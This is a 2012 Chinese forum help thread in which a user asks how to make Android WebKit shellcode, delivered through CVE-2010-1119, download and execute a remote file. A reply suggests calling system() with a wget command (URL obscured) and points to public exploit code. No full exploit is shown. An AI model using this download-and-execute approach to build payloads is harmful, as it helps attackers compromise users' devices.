首页
社区
课程
招聘
[求助]安卓下的download&exec
发表于: 2012-2-17 21:47 7648

[求助]安卓下的download&exec

2012-2-17 21:47
7648
我想利用漏洞cve-2010-1119让webkit跑一段下载执行文件的shellcode
这里:944K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3I4D9i4K6u0V1M7%4c8G2M7X3#2Q4x3X3g2G2M7X3N6Q4x3V1k6K6K9r3g2D9L8r3y4G2k6r3g2Q4x3V1k6K6K9r3g2D9L8r3y4G2k6r3g2Q4x3X3c8D9K9h3&6#2P5q4)9J5k6i4m8Z5M7l9`.`.
在Linux\ARM下有一些执行命令与bind端口的shellcode实例
看了以后好象有了一些概念
但是下载url指向的文件该使用什么函数呢?难道只能用socket做个客户端,然后用recv接受某特定IP传过来的数据,再开个文件写进去吗?
谢谢~

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
2
经人指导,知道了可以用命令行执行system("wget 13bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8W2)9J5k6g2)9J5k6g2)9J5k6b7`.`."),socket的话可能更加灵活。。
这个漏洞在exploit-db上有利用的代码和分析:bccK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3g2^5M7r3I4G2K9i4c8K6i4K6u0r3x3e0j5&6y4K6c8Q4x3V1j5`.
貌似只要把shell里的东西改掉就行了。
2012-2-18 17:18
0
游客
登录 | 注册 方可回帖
返回